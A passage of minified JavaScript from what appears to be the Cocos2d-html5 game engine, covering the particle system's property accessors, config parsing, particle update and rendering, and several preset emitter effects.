  871. (2*f),e=a+(2*d.width-2)/(2*e),d=c+(2*d.height-2)/(2*f)):(a=d.x/e,c=d.y/f,e=a+d.width/e,d=c+d.height/f);var f=d,d=c,c=f,g=0,h=0;this.X?(f=this.X.textureAtlas.quads,g=this.atlasIndex,h=this.atlasIndex+this.qb):(f=this.Ec,g=0,h=this.qb);for(;g<h;g++){f[g]||(f[g]=b.KI());var k=f[g];k.F.l.ea=a;k.F.l.fa=c;k.M.l.ea=e;k.M.l.fa=c;k.L.l.ea=a;k.L.l.fa=d;k.J.l.ea=e;k.J.l.fa=d}}},LE:function(){return this.X},hl:function(a){if(this.X!=a){var c=this.X;if(this.X=a)for(var d=this.Ek,e=0;e<this.qb;e++)d[e].atlasIndex=
  872. e;a?c||(this.X.textureAtlas.pV(this.Ec,this.atlasIndex),b.k.deleteBuffer(this.uc[1])):(this.$I(),this.iF(),this.sb(c.Qa()),this.jm())}},cp:function(){return this.atlasIndex},dG:function(a){this.atlasIndex=a},Aaa:function(){return this.jx},o3:function(a){this.jx=a},Yba:function(){return this.Jy},Ria:function(a){this.Jy=a},xf:function(){return this.ko},Dba:function(){return this.td},Fia:function(a){this.td=a},dp:function(){return this.duration},fg:function(a){this.duration=a},v0:function(){return{x:this.wo.x,
  873. y:this.wo.y}},Q3:function(a){this.wo=a},TE:function(){return{x:this.Gk.x,y:this.Gk.y}},Yg:function(a){this.Gk=a},eba:function(){return this.Ue},Wg:function(a){this.Ue=a},fba:function(){return this.pp},Xg:function(a){this.pp=a},Z$:function(){return this.Lg},Rg:function(a){this.Lg=a},$$:function(){return this.Lo},Sg:function(a){this.Lo=a},hN:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getGravity() : Particle Mode should be Gravity");var a=this.Wb.gravity;return N(a.x,a.y)},hg:function(a){this.Ga!==
  874. b.n.fb&&b.log("cc.ParticleBatchNode.setGravity() : Particle Mode should be Gravity");this.Wb.gravity=a},sx:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getSpeed() : Particle Mode should be Gravity");return this.Wb.speed},Ye:function(a){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.setSpeed() : Particle Mode should be Gravity");this.Wb.speed=a},vN:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getSpeedVar() : Particle Mode should be Gravity");return this.Wb.speedVar},kg:function(a){this.Ga!==
  875. b.n.fb&&b.log("cc.ParticleBatchNode.setSpeedVar() : Particle Mode should be Gravity");this.Wb.speedVar=a},AN:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getTangentialAccel() : Particle Mode should be Gravity");return this.Wb.tangentialAccel},Mj:function(a){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.setTangentialAccel() : Particle Mode should be Gravity");this.Wb.tangentialAccel=a},BN:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getTangentialAccelVar() : Particle Mode should be Gravity");
  876. return this.Wb.tangentialAccelVar},Nj:function(a){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.setTangentialAccelVar() : Particle Mode should be Gravity");this.Wb.tangentialAccelVar=a},oN:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getRadialAccel() : Particle Mode should be Gravity");return this.Wb.radialAccel},ig:function(a){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.setRadialAccel() : Particle Mode should be Gravity");this.Wb.radialAccel=a},pN:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getRadialAccelVar() : Particle Mode should be Gravity");
  877. return this.Wb.radialAccelVar},jg:function(a){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.setRadialAccelVar() : Particle Mode should be Gravity");this.Wb.radialAccelVar=a},n0:function(){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.getRotationIsDir() : Particle Mode should be Gravity");return this.Wb.rotationIsDir},L3:function(a){this.Ga!==b.n.fb&&b.log("cc.ParticleBatchNode.setRotationIsDir() : Particle Mode should be Gravity");this.Wb.rotationIsDir=a},yN:function(){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.getStartRadius() : Particle Mode should be Radius");
  878. return this.Hd.startRadius},wP:function(a){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.setStartRadius() : Particle Mode should be Radius");this.Hd.startRadius=a},zN:function(){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.getStartRadiusVar() : Particle Mode should be Radius");return this.Hd.startRadiusVar},xP:function(a){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.setStartRadiusVar() : Particle Mode should be Radius");this.Hd.startRadiusVar=a},eN:function(){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.getEndRadius() : Particle Mode should be Radius");
  879. return this.Hd.endRadius},dP:function(a){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.setEndRadius() : Particle Mode should be Radius");this.Hd.endRadius=a},fN:function(){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.getEndRadiusVar() : Particle Mode should be Radius");return this.Hd.endRadiusVar},eP:function(a){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.setEndRadiusVar() : Particle Mode should be Radius");this.Hd.endRadiusVar=a},qN:function(){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.getRotatePerSecond() : Particle Mode should be Radius");
  880. return this.Hd.vy},sP:function(a){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.setRotatePerSecond() : Particle Mode should be Radius");this.Hd.vy=a},rN:function(){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.getRotatePerSecondVar() : Particle Mode should be Radius");return this.Hd.wy},tP:function(a){this.Ga!==b.n.cf&&b.log("cc.ParticleBatchNode.setRotatePerSecondVar() : Particle Mode should be Radius");this.Hd.wy=a},an:function(a,c){this.qm=!0;b.q.prototype.an.call(this,a,c)},lG:function(a){this.qm=
  881. !0;b.q.prototype.lG.call(this,a)},Dt:function(a){this.qm=!0;b.q.prototype.Dt.call(this,a)},Et:function(a){this.qm=!0;b.q.prototype.Et.call(this,a)},aca:function(){return this.Ip},Zg:function(a){this.Ip=a},bca:function(){return this.Jp},$g:function(a){this.Jp=a},Faa:function(){return this.Gm},Vg:function(a){this.Gm=a},Gaa:function(){return this.Vo},q3:function(a){this.Vo=a},tx:function(){return b.color(this.Ah.r,this.Ah.g,this.Ah.b,this.Ah.a)},Ze:function(a){this.Ah=b.color(a)},xN:function(){return b.color(this.Nk.r,
  882. this.Nk.g,this.Nk.b,this.Nk.a)},lg:function(a){this.Nk=b.color(a)},ox:function(){return b.color(this.Fe.r,this.Fe.g,this.Fe.b,this.Fe.a)},Xe:function(a){this.Fe=b.color(a)},dN:function(){return b.color(this.qk.r,this.qk.g,this.qk.b,this.qk.a)},gg:function(a){this.qk=b.color(a)},cca:function(){return this.Kp},S3:function(a){this.Kp=a},dca:function(){return this.Lp},T3:function(a){this.Lp=a},Haa:function(){return this.Wo},r3:function(a){this.Wo=a},Iaa:function(){return this.Xo},s3:function(a){this.Xo=
  883. a},Daa:function(){return this.Fm},Tg:function(a){this.Fm=a},z0:function(){return this.qb},W3:function(a){if(b.A===b.Ea)this.qb=200>a?a:200;else{if(a>this.dv){var c=b.Cb.BYTES_PER_ELEMENT;this.nb=new Uint16Array(6*a);var d=new ArrayBuffer(a*c),e=this.Ek;e.length=0;for(var f=this.Ec,g=f.length=0;g<a;g++)e[g]=new b.ug,f[g]=new b.Cb(null,null,null,null,d,g*c);this.qb=this.dv=a;if(this.X)for(c=0;c<a;c++)e[c].atlasIndex=c;this.Zc=d;this.iF();this.jm();this.K&&this.KN(Q(0,0,this.K.width,this.K.height))}else this.qb=
  884. a;this.R2()}},Qa:function(){return this.K},sb:function(a){a.vc?this.sG(a,Q(0,0,a.width,a.height)):(this.na=!1,a.Yd(function(a){this.na=!0;this.sG(a,Q(0,0,a.width,a.height))},this))},Hh:function(){return this.o},We:function(a,c){if(void 0===c)this.o!=a&&(this.o=a,this.Yf());else if(this.o.src!=a||this.o.U!=c)this.o={src:a,U:c},this.Yf()},ue:function(){return this.Sa},Jd:function(a){this.Sa=a},d1:function(){return this.o.src==b.SRC_ALPHA&&this.o.U==b.ONE||this.o.src==b.ONE&&this.o.U==b.ONE},Rh:function(a){var c=
  885. this.o;a?(c.src=b.SRC_ALPHA,c.U=b.ONE):b.A===b.$?this.K&&!this.K.yi()?(c.src=b.SRC_ALPHA,c.U=b.ONE_MINUS_SRC_ALPHA):(c.src=b.hc,c.U=b.gc):(c.src=b.hc,c.U=b.gc)},Hba:function(){return this.Ji},Hia:function(a){this.Ji=a},Xca:function(){return this.Gs},zha:function(a){this.Gs=a},Eaa:function(){return this.Ga},Ug:function(a){this.Ga=a},G:function(){return this.Wa(150)},$k:function(a){this.uC=a;a=b.V.Gd(a);return a?this.Q0(a,""):(b.log("cc.ParticleSystem.initWithFile(): Particles: file not found"),!1)},
  886. y_:function(){return Q(0,0,b.Za.width,b.Za.height)},Q0:function(a){var c=!1,d=null,d=this.NY,e=parseInt(d("maxParticles",a));if(this.Wa(e)){this.Lg=parseFloat(d("angle",a));this.Lo=parseFloat(d("angleVariance",a));this.duration=parseFloat(d("duration",a));this.o.src=parseInt(d("blendFuncSource",a));this.o.U=parseInt(d("blendFuncDestination",a));c=this.Ah;c.r=255*parseFloat(d("startColorRed",a));c.g=255*parseFloat(d("startColorGreen",a));c.b=255*parseFloat(d("startColorBlue",a));c.a=255*parseFloat(d("startColorAlpha",
  887. a));c=this.Nk;c.r=255*parseFloat(d("startColorVarianceRed",a));c.g=255*parseFloat(d("startColorVarianceGreen",a));c.b=255*parseFloat(d("startColorVarianceBlue",a));c.a=255*parseFloat(d("startColorVarianceAlpha",a));c=this.Fe;c.r=255*parseFloat(d("finishColorRed",a));c.g=255*parseFloat(d("finishColorGreen",a));c.b=255*parseFloat(d("finishColorBlue",a));c.a=255*parseFloat(d("finishColorAlpha",a));c=this.qk;c.r=255*parseFloat(d("finishColorVarianceRed",a));c.g=255*parseFloat(d("finishColorVarianceGreen",
  888. a));c.b=255*parseFloat(d("finishColorVarianceBlue",a));c.a=255*parseFloat(d("finishColorVarianceAlpha",a));this.Ip=parseFloat(d("startParticleSize",a));this.Jp=parseFloat(d("startParticleSizeVariance",a));this.Gm=parseFloat(d("finishParticleSize",a));this.Vo=parseFloat(d("finishParticleSizeVariance",a));this.P(parseFloat(d("sourcePositionx",a)),parseFloat(d("sourcePositiony",a)));this.Gk.x=parseFloat(d("sourcePositionVariancex",a));this.Gk.y=parseFloat(d("sourcePositionVariancey",a));this.Kp=parseFloat(d("rotationStart",
  889. a));this.Lp=parseFloat(d("rotationStartVariance",a));this.Wo=parseFloat(d("rotationEnd",a));this.Xo=parseFloat(d("rotationEndVariance",a));this.Ga=parseInt(d("emitterType",a));if(this.Ga==b.n.fb)c=this.Wb,c.gravity.x=parseFloat(d("gravityx",a)),c.gravity.y=parseFloat(d("gravityy",a)),c.speed=parseFloat(d("speed",a)),c.speedVar=parseFloat(d("speedVariance",a)),e=d("radialAcceleration",a),c.radialAccel=e?parseFloat(e):0,e=d("radialAccelVariance",a),c.radialAccelVar=e?parseFloat(e):0,e=d("tangentialAcceleration",
  890. a),c.tangentialAccel=e?parseFloat(e):0,e=d("tangentialAccelVariance",a),c.tangentialAccelVar=e?parseFloat(e):0,e=d("rotationIsDir",a).toLowerCase(),c.rotationIsDir=null!=e&&("true"===e||"1"===e);else if(this.Ga==b.n.cf)c=this.Hd,c.startRadius=parseFloat(d("maxRadius",a)),c.startRadiusVar=parseFloat(d("maxRadiusVariance",a)),c.endRadius=parseFloat(d("minRadius",a)),c.endRadiusVar=0,c.vy=parseFloat(d("rotatePerSecond",a)),c.wy=parseFloat(d("rotatePerSecondVariance",a));else return b.log("cc.ParticleSystem.initWithDictionary(): Invalid emitterType in config file"),
  891. !1;this.Ue=parseFloat(d("particleLifespan",a));this.pp=parseFloat(d("particleLifespanVariance",a));this.Fm=this.qb/this.Ue;if(!this.X)if(this.Sa=!1,c=d("textureFileName",a),c=b.path.Po(this.uC,c),e=b.Da.bn(c))this.sb(e);else if((a=d("textureImageData",a))&&0==a.length){e=b.Da.Bc(c);if(!e)return!1;this.sb(e)}else{d=b.UP(a,1);if(!d)return b.log("cc.ParticleSystem: error decoding or ungzipping textureImageData"),!1;a=b.T_(d);if(a!==b.cH&&a!==b.jz)return b.log("cc.ParticleSystem: unknown image format with Data"),
  892. !1;e=b.Ob("canvas");a===b.jz?(new b.oS(d)).P2(e):b.E4.l2(d,e);b.Da.qZ(c,e);(a=b.Da.bn(c))||b.log("cc.ParticleSystem.initWithDictionary() : error loading the texture");this.sb(a)}c=!0}return c},Wa:function(a){this.qb=a;var c,d=this.Ek;for(c=d.length=0;c<a;c++)d[c]=new b.ug;if(!d)return b.log("Particle system: not enough memory"),!1;this.dv=a;if(this.X)for(c=0;c<this.qb;c++)d[c].atlasIndex=c;this.ko=!0;this.o.src=b.hc;this.o.U=b.gc;this.Ji=b.n.Mq;this.Ga=b.n.fb;this.qm=this.Gs=!1;this.WO(1);if(b.A===
  893. b.$){if(!this.$I())return!1;this.iF();this.jm();this.shaderProgram=b.Ld.nc(b.Ti)}return!0},E9:function(){this.TP()},PY:function(){if(this.g1())return!1;var a,c=this.Ek;b.A===b.Ea?this.td<c.length?a=c[this.td]:(a=new b.ug,c.push(a)):a=c[this.td];this.O0(a);++this.td;return!0},O0:function(a){var c=b.C2;a.kl=this.Ue+this.pp*c();a.kl=Math.max(0,a.kl);a.$a.x=this.wo.x+this.Gk.x*c();a.$a.y=this.wo.y+this.Gk.y*c();var d,e;d=this.Ah;var f=this.Nk,g=this.Fe;e=this.qk;b.A===b.Ea?(d=b.color(b.Sc(d.r+f.r*c(),
  894. 0,255),b.Sc(d.g+f.g*c(),0,255),b.Sc(d.b+f.b*c(),0,255),b.Sc(d.a+f.a*c(),0,255)),e=b.color(b.Sc(g.r+e.r*c(),0,255),b.Sc(g.g+e.g*c(),0,255),b.Sc(g.b+e.b*c(),0,255),b.Sc(g.a+e.a*c(),0,255))):(d={r:b.Sc(d.r+f.r*c(),0,255),g:b.Sc(d.g+f.g*c(),0,255),b:b.Sc(d.b+f.b*c(),0,255),a:b.Sc(d.a+f.a*c(),0,255)},e={r:b.Sc(g.r+e.r*c(),0,255),g:b.Sc(g.g+e.g*c(),0,255),b:b.Sc(g.b+e.b*c(),0,255),a:b.Sc(g.a+e.a*c(),0,255)});a.color=d;f=a.Ps;g=a.kl;f.r=(e.r-d.r)/g;f.g=(e.g-d.g)/g;f.b=(e.b-d.b)/g;f.a=(e.a-d.a)/g;d=this.Ip+
  895. this.Jp*c();d=Math.max(0,d);a.size=d;this.Gm===b.n.vg?a.zE=0:(e=this.Gm+this.Vo*c(),e=Math.max(0,e),a.zE=(e-d)/g);d=this.Kp+this.Lp*c();e=this.Wo+this.Xo*c();a.rotation=d;a.KM=(e-d)/g;this.Ji==b.n.Mq?a.Ky=this.fx(this.AC):this.Ji==b.n.lA&&(a.Ky.x=this.za.x,a.Ky.y=this.za.y);d=b.$f(this.Lg+this.Lo*c());if(this.Ga===b.n.fb)g=this.Wb,e=a.Wb,f=g.speed+g.speedVar*c(),e.dir.x=Math.cos(d),e.dir.y=Math.sin(d),b.wp(e.dir,f),e.radialAccel=g.radialAccel+g.radialAccelVar*c(),e.tangentialAccel=g.tangentialAccel+
  896. g.tangentialAccelVar*c(),g.rotationIsDir&&(a.rotation=-b.SF(b.j2(e.dir)));else{e=this.Hd;a=a.Hd;var f=e.startRadius+e.startRadiusVar*c(),h=e.endRadius+e.endRadiusVar*c();a.wt=f;a.JM=e.endRadius===b.n.PS?0:(h-f)/g;a.Lg=d;a.GM=b.$f(e.vy+e.wy*c())}},u4:function(){this.ko=!1;this.mb=this.duration;this.Rl=0},R2:function(){this.ko=!0;this.mb=0;var a=this.Ek;for(this.of=0;this.of<this.td;++this.of)a[this.of].kl=0},g1:function(){return this.td>=this.qb},L4:function(a,c){var d=null;this.X?(d=this.X.textureAtlas.quads[this.atlasIndex+
  897. a.atlasIndex],this.X.textureAtlas.dirty=!0):d=this.Ec[this.of];var e,f,g,h;this.Sa?(e=0|a.color.r*a.color.a/255,f=0|a.color.g*a.color.a/255,g=0|a.color.b*a.color.a/255):(e=0|a.color.r,f=0|a.color.g,g=0|a.color.b);h=0|a.color.a;var k=d.F.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.M.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.L.t;k.r=e;k.g=f;k.b=g;k.a=h;k=d.J.t;k.r=e;k.g=f;k.b=g;k.a=h;e=a.size/2;if(a.rotation){f=-e;g=-e;h=c.x;var k=c.y,m=-b.$f(a.rotation),p=Math.cos(m),m=Math.sin(m);d.F.i.x=f*p-g*m+h;d.F.i.y=f*m+g*p+k;d.M.i.x=
  898. e*p-g*m+h;d.M.i.y=e*m+g*p+k;d.L.i.x=f*p-e*m+h;d.L.i.y=f*m+e*p+k;d.J.i.x=e*p-e*m+h;d.J.i.y=e*m+e*p+k}else d.F.i.x=c.x-e,d.F.i.y=c.y-e,d.M.i.x=c.x+e,d.M.i.y=c.y-e,d.L.i.x=c.x-e,d.L.i.y=c.y+e,d.J.i.x=c.x+e,d.J.i.y=c.y+e},v2:function(){if(b.A===b.$){var a=b.k;a.bindBuffer(a.ARRAY_BUFFER,this.uc[0]);a.bufferData(a.ARRAY_BUFFER,this.Zc,a.DYNAMIC_DRAW)}},update:function(a){if(this.ko&&this.Fm){var c=1/this.Fm;this.td<this.qb&&(this.Rl+=a);for(;this.td<this.qb&&this.Rl>c;)this.PY(),this.Rl-=c;this.mb+=a;
  899. -1!=this.duration&&this.duration<this.mb&&this.u4()}this.of=0;c=b.ug.Ru[0];this.Ji==b.n.Mq?b.Hj(c,this.fx(this.AC)):this.Ji==b.n.lA&&(c.x=this.za.x,c.y=this.za.y);if(this.zc){for(var d=b.ug.Ru[1],e=b.ug.Ru[2],f=b.ug.Ru[3],g=this.Ek;this.of<this.td;){b.my(d);b.my(e);b.my(f);var h=g[this.of];h.kl-=a;if(0<h.kl){if(this.Ga==b.n.fb){var k=f,m=d,p=e;h.$a.x||h.$a.y?(b.Hj(m,h.$a),b.h2(m)):b.my(m);b.Hj(p,m);b.wp(m,h.Wb.radialAccel);var r=p.x;p.x=-p.y;p.y=r;b.wp(p,h.Wb.tangentialAccel);b.Hj(k,m);b.ky(k,p);
  900. b.ky(k,this.Wb.gravity);b.wp(k,a);b.ky(h.Wb.dir,k);b.Hj(k,h.Wb.dir);b.wp(k,a);b.ky(h.$a,k)}else k=h.Hd,k.Lg+=k.GM*a,k.wt+=k.JM*a,h.$a.x=-Math.cos(k.Lg)*k.wt,h.$a.y=-Math.sin(k.Lg)*k.wt;this.uJ&&b.A!==b.Ea||(h.color.r+=h.Ps.r*a,h.color.g+=h.Ps.g*a,h.color.b+=h.Ps.b*a,h.color.a+=h.Ps.a*a,h.XN=!0);h.size+=h.zE*a;h.size=Math.max(0,h.size);h.rotation+=h.KM*a;k=d;this.Ji==b.n.Mq||this.Ji==b.n.lA?(m=e,b.Hj(m,c),b.AO(m,h.Ky),b.Hj(k,h.$a),b.AO(k,m)):b.Hj(k,h.$a);this.X&&(k.x+=this.za.x,k.y+=this.za.y);b.A==
  901. b.$?this.L4(h,k):b.Hj(h.Rs,k);++this.of}else if(h=h.atlasIndex,this.of!==this.td-1&&(k=g[this.of],g[this.of]=g[this.td-1],g[this.td-1]=k),this.X&&(this.X.LZ(this.atlasIndex+h),g[this.td-1].atlasIndex=h),--this.td,0==this.td&&this.Gs){this.TP();this.Tb.removeChild(this,!0);return}}this.qm=!1}this.X||this.v2()},O4:function(){this.update(0)},NY:function(a,c){if(c){var d=c[a];return null!=d?d:""}return""},Yf:function(){if(this.X)b.log("Can't change blending functions when the particle is being batched");
  902. else{var a=this.K;if(a&&a instanceof b.da){this.Sa=!1;var c=this.o;c.src==b.hc&&c.U==b.gc&&(a.yi()?this.Sa=!0:(c.src=b.SRC_ALPHA,c.U=b.ONE_MINUS_SRC_ALPHA))}}},j:function(){var a=new b.n;if(a.Wa(this.qb)){a.Rg(this.Lg);a.Sg(this.Lo);a.fg(this.dp());var c=this.Hh();a.We(c.src,c.U);a.Ze(this.tx());a.lg(this.xN());a.Xe(this.ox());a.gg(this.dN());a.Zg(this.Ip);a.$g(this.Jp);a.Vg(this.Gm);a.q3(this.Vo);a.P(N(this.x,this.y));a.Yg(N(this.TE().x,this.TE().y));a.S3(this.Kp||0);a.T3(this.Lp||0);a.r3(this.Wo||
  903. 0);a.s3(this.Xo||0);a.Ug(this.Ga);this.Ga==b.n.fb?(c=this.hN(),a.hg(N(c.x,c.y)),a.Ye(this.sx()),a.kg(this.vN()),a.ig(this.oN()),a.jg(this.pN()),a.Mj(this.AN()),a.Nj(this.BN())):this.Ga==b.n.cf&&(a.wP(this.yN()),a.xP(this.zN()),a.dP(this.eN()),a.eP(this.fN()),a.sP(this.qN()),a.tP(this.rN()));a.Wg(this.Ue);a.Xg(this.pp);a.Tg(this.Fm);if(!this.X&&(a.Jd(this.ue()),c=this.Qa())){var d=c.Jh();a.sG(c,Q(0,0,d.width,d.height))}}return a},m3:function(a){var c=a.Rf;0==c.x&&0==c.y||b.log("cc.ParticleSystem.setDisplayFrame(): QuadParticle only supports SpriteFrames with no offsets");
  904. b.A===b.$&&(this.K&&a.Qa().Xd==this.K.Xd||this.sb(a.Qa()))},sG:function(a,c){var d=this.K;b.A===b.$?d&&a.Xd==d.Xd||d==a||(this.K=a,this.Yf()):d&&a==d||d==a||(this.K=a,this.Yf());this.Wr=c;this.KN(c)},Z:function(a){this.na&&!this.X&&(b.A===b.Ea?this.Ql(a):this.$i(a),b.bg++)},Ql:function(a){a=a||b.k;a.save();a.globalCompositeOperation=this.d1()?"lighter":"source-over";for(var c=0;c<this.td;c++){var d=this.Ek[c],e=0|0.5*d.size;if(this.jx==b.n.YH){if(e=this.K.Db,e.width&&e.height){a.save();a.globalAlpha=
  905. d.color.a/255;a.translate(0|d.Rs.x,-(0|d.Rs.y));var f=4*Math.floor(d.size/4),g=this.Wr.width,h=this.Wr.height;a.scale(Math.max(1/g*f,1E-6),Math.max(1/h*f,1E-6));d.rotation&&a.rotate(b.$f(d.rotation));a.translate(-(0|g/2),-(0|h/2));d.XN&&(f=b.Da.ux(e))&&(f.Ot||(f.Ot=b.Ob("canvas"),f.Ot.width=e.width,f.Ot.height=e.height),b.ap(e,f,d.color,this.Wr,f.Ot),e=f.Ot);a.drawImage(e,0,0);a.restore()}}else a.save(),a.globalAlpha=d.color.a/255,a.translate(0|d.Rs.x,-(0|d.Rs.y)),this.Jy==b.n.QS?(d.rotation&&a.rotate(b.$f(d.rotation)),
  906. b.Ee.VZ(a,e,d.color)):b.Ee.OZ(a,e,d.color),a.restore()}a.restore()},$i:function(a){this.K&&(a=a||b.k,this.Hb.Mc(),this.Hb.af(),b.te(this.K),b.EN(this.o.src,this.o.U),b.Ic(b.Gl),a.bindBuffer(a.ARRAY_BUFFER,this.uc[0]),a.vertexAttribPointer(b.tb,3,a.FLOAT,!1,24,0),a.vertexAttribPointer(b.Ae,4,a.UNSIGNED_BYTE,!0,24,12),a.vertexAttribPointer(b.yd,2,a.FLOAT,!1,24,16),a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.uc[1]),a.drawElements(a.TRIANGLES,6*this.of,a.UNSIGNED_SHORT,0))},kfa:function(){b.bA||this.jm()},
  907. u8:function(){},jm:function(){if(b.A!=b.Ea){var a=b.k;this.uc[0]=a.createBuffer();a.bindBuffer(a.ARRAY_BUFFER,this.uc[0]);a.bufferData(a.ARRAY_BUFFER,this.Zc,a.DYNAMIC_DRAW);this.uc[1]=a.createBuffer();a.bindBuffer(a.ELEMENT_ARRAY_BUFFER,this.uc[1]);a.bufferData(a.ELEMENT_ARRAY_BUFFER,this.nb,a.STATIC_DRAW)}},$I:function(){if(b.A===b.Ea)return!0;if(this.X)return b.log("cc.ParticleSystem._allocMemory(): Memory should not be allocated when not using batchNode"),!1;var a=b.Cb.BYTES_PER_ELEMENT,c=this.qb,
  908. d=this.Ec;d.length=0;this.nb=new Uint16Array(6*c);for(var e=new ArrayBuffer(a*c),f=0;f<c;f++)d[f]=new b.Cb(null,null,null,null,e,f*a);if(!d||!this.nb)return b.log("cocos2d: Particle system: not enough memory"),!1;this.Zc=e;return!0}});n=b.n.prototype;b.f(n,"opacityModifyRGB",n.ue,n.Jd);b.f(n,"batchNode",n.LE,n.hl);b.f(n,"active",n.xf);b.f(n,"sourcePos",n.v0,n.Q3);b.f(n,"posVar",n.TE,n.Yg);b.f(n,"gravity",n.hN,n.hg);b.f(n,"speed",n.sx,n.Ye);b.f(n,"speedVar",n.vN,n.kg);
  909. b.f(n,"tangentialAccel",n.AN,n.Mj);b.f(n,"tangentialAccelVar",n.BN,n.Nj);b.f(n,"radialAccel",n.oN,n.ig);b.f(n,"radialAccelVar",n.pN,n.jg);b.f(n,"rotationIsDir",n.n0,n.L3);b.f(n,"startRadius",n.yN,n.wP);b.f(n,"startRadiusVar",n.zN,n.xP);b.f(n,"endRadius",n.eN,n.dP);b.f(n,"endRadiusVar",n.fN,n.eP);b.f(n,"rotatePerS",n.qN,n.sP);b.f(n,"rotatePerSVar",n.rN,n.tP);b.f(n,"startColor",n.tx,n.Ze);b.f(n,"startColorVar",n.xN,n.lg);b.f(n,"endColor",n.ox,n.Xe);b.f(n,"endColorVar",n.dN,n.gg);
  910. b.f(n,"totalParticles",n.z0,n.W3);b.f(n,"texture",n.Qa,n.sb);b.n.create=function(a){return new b.n(a)};b.n.xz=function(a,c,d,e,f,g,h,k){this.gravity=a?a:N(0,0);this.speed=c||0;this.speedVar=d||0;this.tangentialAccel=e||0;this.tangentialAccelVar=f||0;this.radialAccel=g||0;this.radialAccelVar=h||0;this.rotationIsDir=k||!1};b.n.yz=function(a,c,d,e,f,g){this.startRadius=a||0;this.startRadiusVar=c||0;this.endRadius=d||0;this.endRadiusVar=e||0;this.vy=f||0;this.wy=g||0};b.n.OS=0;b.n.YH=1;b.n.QS=0;
  911. b.n.jQ=1;b.n.Uh=-1;b.n.vg=-1;b.n.PS=-1;b.n.fb=0;b.n.cf=1;b.n.Mq=0;b.n.lA=1;b.n.s7=2;b.BH=b.n.extend({G:function(){return this.Wa(b.A===b.$?300:150)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,0)),this.ig(0),this.jg(0),this.Ye(60),this.kg(20),this.Rg(90),this.Sg(10),this.P(b.D.R.width/2,60),this.Yg(N(40,20)),this.Wg(3),this.Xg(0.25),this.Zg(54),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(194,64,31,255)),this.lg(b.color(0,0,0,0)),this.Xe(b.color(0,0,0,255)),this.gg(b.color(0,0,0,0)),this.Rh(!0),!0):!1}});
  912. b.BH.create=function(){var a=new b.BH;return a.G()?a:null};
  913. b.CH=b.n.extend({G:function(){return this.Wa(b.A===b.$?1500:150)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,-90)),this.ig(0),this.jg(0),this.Ye(180),this.kg(50),a=b.D.R,this.P(a.width/2,a.height/2),this.Rg(90),this.Sg(20),this.Wg(3.5),this.Xg(1),this.Tg(this.qb/this.Ue),this.Ze(b.color(128,128,128,255)),this.lg(b.color(128,128,128,255)),this.Xe(b.color(26,26,26,51)),this.gg(b.color(26,26,26,51)),this.Zg(8),this.$g(2),this.Vg(b.n.vg),this.Rh(!1),
  914. !0):!1}});b.CH.create=function(){var a=new b.CH;return a.G()?a:null};
  915. b.KH=b.n.extend({G:function(){return this.Wa(b.A===b.$?350:150)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.Rh(!0),this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,0)),this.ig(0),this.jg(0),this.Ye(20),this.kg(5),this.Rg(90),this.Sg(360),a=b.D.R,this.P(a.width/2,a.height/2),this.Yg(N(0,0)),this.Wg(1),this.Xg(0.5),this.Zg(30),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(194,64,31,255)),this.lg(b.color(0,0,0,0)),this.Xe(b.color(0,0,0,255)),this.gg(b.color(0,0,0,0)),
  916. !0):!1}});b.KH.create=function(){var a=new b.KH;return a.G()?a:null};
  917. b.EH=b.n.extend({G:function(){return this.Wa(b.A===b.$?200:100)},Wa:function(a){return b.n.prototype.Wa.call(this,a)?(this.fg(b.n.Uh),this.Ug(b.n.fb),this.hg(N(0,0)),this.Ye(60),this.kg(10),this.ig(-80),this.jg(0),this.Mj(80),this.Nj(0),this.Rg(90),this.Sg(360),a=b.D.R,this.P(a.width/2,a.height/2),this.Yg(N(0,0)),this.Wg(4),this.Xg(1),this.Zg(37),this.$g(10),this.Vg(b.n.vg),this.Tg(this.qb/this.Ue),this.Ze(b.color(31,64,194,255)),this.lg(b.color(0,0,0,0)),this.Xe(b.color(0,0,0,255)),this.gg(b.color(0,
  918. 0,0,0)),this.Rh(!0),!0):!1}});b.EH.create=function(){var a=new b.EH;return a.G()?a:null};
